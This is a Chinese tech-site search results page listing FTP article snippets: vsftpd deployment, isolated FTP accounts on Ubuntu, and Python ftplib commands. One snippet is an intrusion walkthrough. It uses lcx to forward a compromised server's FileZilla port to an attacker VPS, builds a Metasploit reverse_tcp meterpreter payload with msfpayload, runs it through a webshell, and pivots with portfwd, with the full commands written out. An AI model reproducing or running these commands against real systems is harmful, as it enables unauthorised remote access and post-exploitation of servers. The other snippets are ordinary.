首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
您找到你想要的搜索结果了吗?
是的
没有找到

如何部署 ftp 文件服务

文件传输协议(英文:File Transfer Protocol,缩写:FTP)是用于在网络上进行文件传输的一套标准协议,使用客户/服务器模式。它属于网络传输协议的应用层。FTP 是相当古老的传输协议之一,他最主要的功能是在服务器与客户端之间进行档案的传输。 FTP 其实是以 TCP 封包的模式进行服务器与客户端计算机之间的联机,当联机建立后,此外,也可以直接管理用户在 FTP 服务器上面的档案,相当的方便! 而这个古老的协议是使用明码传输,且过去有相当多的安全危机历史。为了更安全的使用 FTP 协议, 我们主要介绍较为安全但功能较少的 vsftpd 这个软件。今天这篇教程,我们将使用腾讯云CVM服务器来部署VSFTP所提供的FTP服务。

021

reverse_tcp反向连接在实战中的应用

0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。 首先VPS机器监听51端口,连接用14147端口: VPS机器执行: C:\>lcx.exe -listen 51 14147 目标机器执行: /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。 当前问题: 不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。 解决办法: 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接

02

Ubuntu 使用 vsftpd 基于系统用户配置相互隔离的 ftp (ftps) 服务并禁止账户 ssh shell 登陆功能

我们在日常使用 UbuntuServer 服务器时,经常会直接使用基于 ssh 的  sftp 连接服务器直接进行文件上传和下载,不过这个方式其实有一定的安全隐患,当一个团队有多个人员,需要连接服务器去发布时,如果使用 ssh 则意味着需要将系统的 账户和密码 告知对方,别人就不仅拥有了 sftp 的连接权限,同时也拥有了 ssh 的连接权限,意味着可以直接登陆服务器,而且 对方使用 sftp 登陆之后可以看到服务器上全部的文件,这显示是不符合预期的,我们要的仅仅是给对方提供一个 ftp 文件上传下载的权限,并且最好能够限定到具体的目录。

03

python应用系列教程——python

ftp=FTP() #设置变量 ftp.set_debuglevel(2) #打开调试级别2,显示详细信息 ftp.connect(“IP”,”port”) #连接的ftp sever和端口 ftp.login(“user”,”password”)#连接的用户名,密码 print ftp.getwelcome() #打印出欢迎信息 ftp.cmd(“xxx/xxx”) #更改远程目录 bufsize=1024 #设置的缓冲区大小 filename=”filename.txt” #需要下载的文件 file_handle=open(filename,”wb”).write #以写模式在本地打开文件 ftp.retrbinaly(“RETR filename.txt”,file_handle,bufsize) #接收服务器上文件并写入本地文件 ftp.set_debuglevel(0) #关闭调试模式 ftp.quit #退出ftp ftp相关命令操作 ftp.cwd(pathname) #设置FTP当前操作的路径 ftp.dir() #显示目录下文件信息 ftp.nlst() #获取目录下的文件 ftp.mkd(pathname) #新建远程目录 ftp.pwd() #返回当前所在位置 ftp.rmd(dirname) #删除远程目录 ftp.delete(filename) #删除远程文件 ftp.rename(fromname, toname)#将fromname修改名称为toname。 ftp.storbinaly(“STOR filename.txt”,file_handel,bufsize) #上传目标文件 ftp.retrbinary(“RETR filename.txt”,file_handel,bufsize)#下载FTP文件

02
领券